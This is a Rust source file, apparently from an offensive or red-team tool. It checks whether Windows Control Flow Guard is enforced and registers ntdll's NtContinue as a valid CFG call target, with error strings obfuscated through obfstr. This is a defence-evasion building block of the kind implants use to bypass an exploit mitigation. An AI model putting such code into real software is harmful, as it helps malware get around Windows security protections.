use alloc::string::String;
use core::{ffi::c_void, ptr::null_mut};
use obfstr::{obfstring as s};
use anyhow::{Context, Result, bail};
use dinvk::winapis::{NtCurrentProcess, NT_SUCCESS};
use dinvk::helper::PE;
use crate::config::Config;
use crate::winapis::{
NtQueryInformationProcess,
SetProcessValidCallTargets
};
use crate::types::{
CFG_CALL_TARGET_INFO,
EXTENDED_PROCESS_INFORMATION
};
const CFG_CALL_TARGET_VALID: usize = 1;
const PROCESS_COOKIE: u32 = 36;
const PROCESS_USER_MODE_IOPL: u32 = 16;
const ProcessControlFlowGuardPolicy: i32 = 7i32;
pub fn is_cfg_enforced() -> Result<bool> {
let mut proc_info = EXTENDED_PROCESS_INFORMATION {
ExtendedProcessInfo: ProcessControlFlowGuardPolicy as u32,
..Default::default()
};
let status = NtQueryInformationProcess(
NtCurrentProcess(),
PROCESS_COOKIE | PROCESS_USER_MODE_IOPL,
&mut proc_info as *mut _ as *mut c_void,
size_of::<EXTENDED_PROCESS_INFORMATION>() as u32,
null_mut(),
);
if !NT_SUCCESS(status) {
bail!(s!("NtQueryInformationProcess Failed"));
}
Ok(proc_info.ExtendedProcessInfoBuffer != 0)
}
pub fn add_cfg(module: usize, function: usize) -> Result<()> {
unsafe {
let nt_header = PE::parse(module as *mut c_void)
.nt_header()
.context(s!("invalid nt header"))?;
let size = ((*nt_header).OptionalHeader.SizeOfImage as usize + 0xFFF) & !0xFFF;
let mut cfg = CFG_CALL_TARGET_INFO {
Flags: CFG_CALL_TARGET_VALID,
Offset: function - module,
};
if SetProcessValidCallTargets(
NtCurrentProcess(),
module as *mut c_void,
size,
1,
&mut cfg
) == 0
{
bail!(s!("SetProcessValidCallTargets Failed"))
}
}
Ok(())
}
pub fn register_cfg_targets(cfg: &Config) {
let targets = [(cfg.modules.ntdll, cfg.nt_continue)];
for (module, func) in targets {
if let Err(e) = add_cfg(module.as_u64() as usize, func.as_u64() as usize) {
if cfg!(debug_assertions) {
dinvk::println!("add_cfg failed: {e}");
}
}
}
}